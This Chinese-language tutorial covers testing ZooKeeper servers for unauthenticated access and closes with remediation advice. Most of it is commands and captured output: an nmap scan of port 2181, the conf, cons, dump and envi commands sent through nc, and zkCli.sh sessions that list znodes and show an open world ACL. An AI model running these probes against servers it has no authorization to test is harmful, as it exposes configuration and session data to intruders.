目錄
- 探測(cè)Zookeeper服務(wù)開放
- 獲取信息
- 連接測(cè)試
- 連接目標(biāo)
- 修復(fù)方案
- 參考
前言
ZooKeeper是一個(gè)分布式的,開放源碼的分布式應(yīng)用程序協(xié)調(diào)服務(wù),是Google的Chubby一個(gè)開源的實(shí)現(xiàn),是Hadoop和Hbase的重要組件。它是一個(gè)為分布式應(yīng)用提供一致性服務(wù)的軟件,提供的功能包括:配置維護(hù)、域名服務(wù)、分布式同步、組服務(wù)等。
zookeeper 未授權(quán)訪問是指安裝部署之后默認(rèn)情況下不需要任何身份驗(yàn)證,從而導(dǎo)致 zookeeper 被遠(yuǎn)程利用,導(dǎo)致大量服務(wù)級(jí)別的信息泄露。
默認(rèn)使用端口:2181、2182。
探測(cè)Zookeeper服務(wù)開放
如使用nmap探測(cè)某個(gè)目標(biāo)地址是否運(yùn)行Zookeeper服務(wù),探測(cè)2181端口開放。
root@kali:~# nmap -Pn -p 2181 xx.xx.xx.xx
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT
Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)
Host is up (0.016s latency).
PORT STATE SERVICE
2181/tcp open eforward
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
批量探測(cè)僅需修改一下對(duì)應(yīng)的目標(biāo)地址即可。
獲取信息
conf命令
輸出相關(guān)服務(wù)配置的詳細(xì)信息,端口、數(shù)據(jù)路徑、日志路徑、session 超時(shí)時(shí)間,最大連接數(shù)等。
root@kali:~# echo conf | nc xx.xx.xx.xx 2181
clientPort=2171
dataDir=/opt/data/zookeeper/data/version-2
dataLogDir=/opt/data/zookeeper/data/version-2
tickTime=2000
maxClientCnxns=0
minSessionTimeout=4000
maxSessionTimeout=40000
serverId=0
cons命令
列出所有連接到當(dāng)前服務(wù)器的客戶端/會(huì)話的詳細(xì)信息。
root@kali:~# echo cons | nc xx.xx.xx.xx 2181 | more
/10.23.46.40:11958[1](queued=0,recved=27317,sent=27317,sid=0x1000000e029b16e,lop=PING,est=1571277639586,to=40000,lcxid=0x33,lzxid=0x286a720,lresp=2435779043,llat=0,minlat=0,avglat=0,maxlat=397)
/10.23.46.39:9688[1](queued=0,recved=27316,sent=27316,sid=0x1000000e029b17c,lop=PING,est=1571277641790,to=40000,lcxid=0x33,lzxid=0x286a71c,lresp=2435777895,llat=0,minlat=0,avglat=0,maxlat=560)
dump命令
輸出未處理的會(huì)話和臨時(shí)節(jié)點(diǎn),leader 節(jié)點(diǎn)有效。
root@kali:~# echo dump | nc xx.xx.xx.xx 2181 | more
SessionTracker dump:
Session Sets (21):
0 expire at Thu Jan 29 12:38:08 CST 1970:
0 expire at Thu Jan 29 12:38:10 CST 1970:
3 expire at Thu Jan 29 12:38:12 CST 1970:
0x1000000e01f0013
0x1000000e029fdde
0x1000000e029fe05
2 expire at Thu Jan 29 12:38:14 CST 1970:
0x1000000e02a4235
0x1000000e01f00e9
31 expire at Thu Jan 29 12:38:16 CST 1970:
0x1000000e01f067a
0x1000000e02a423c
0x1000000e01f0008
0x1000000e029fdf4
...
非 leader 節(jié)點(diǎn)看不到什么相關(guān)信息。
envi命令
輸出服務(wù)器的詳細(xì)信息。
root@kali:~# echo envi | nc xx.xx.xx.xx 2181
Environment:
zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT
host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06
java.version=1.7.0_80
java.vendor=Oracle Corporation
java.home=/usr/java/jdk1.7.0_80/jre
java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.10.0-327.36.3.el7.x86_64
user.name=root
user.home=/root
user.dir=/
連接測(cè)試
安裝工具
如在kali下,可以用如下命令安裝zookeeper工具,之后即可使用客戶端連接工具zkCli.sh。
# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh
連接目標(biāo)
使用-server參數(shù)指定目標(biāo)即可連接。
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
... 已連接
獲取系統(tǒng)相關(guān)信息
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
WATCHER::
WatchedEvent state:SyncConnected type:None path:null
[zk: xx.xx.xx.xx:2181(CONNECTED) 0] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:2181(CONNECTED) 1] get /
cZxid = 0x0
ctime = Wed Dec 31 19:00:00 EST 1969
mZxid = 0x0
mtime = Wed Dec 31 19:00:00 EST 1969
pZxid = 0x4c0
cversion = 4
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 6
[zk: xx.xx.xx.xx:2181(CONNECTED) 2] get /service
cZxid = 0x2
ctime = Thu Aug 30 02:58:40 EDT 2018
mZxid = 0x2
mtime = Thu Aug 30 02:58:40 EDT 2018
pZxid = 0x1cb884d
cversion = 7
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 3
[zk: xx.xx.xx.xx:2181(CONNECTED) 3] getAcl /
'world,'anyone
: cdrwa
修復(fù)方案
1、設(shè)置防火墻策略限制 IP 訪問【建議采取此種方案】
2、不要將 zookeeper 暴露在外網(wǎng)
3、設(shè)置用戶認(rèn)證和 ACL
參考
zookeeper 未授權(quán)訪問
http://vic.pub/zookeeper-未授權(quán)訪問/
總結(jié)
以上所述是小編給大家介紹的Zookeeper未授權(quán)訪問測(cè)試問題,希望對(duì)大家有所幫助,如果大家有任何疑問請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!
如果你覺得本文對(duì)你有幫助,歡迎轉(zhuǎn)載,煩請(qǐng)注明出處,謝謝!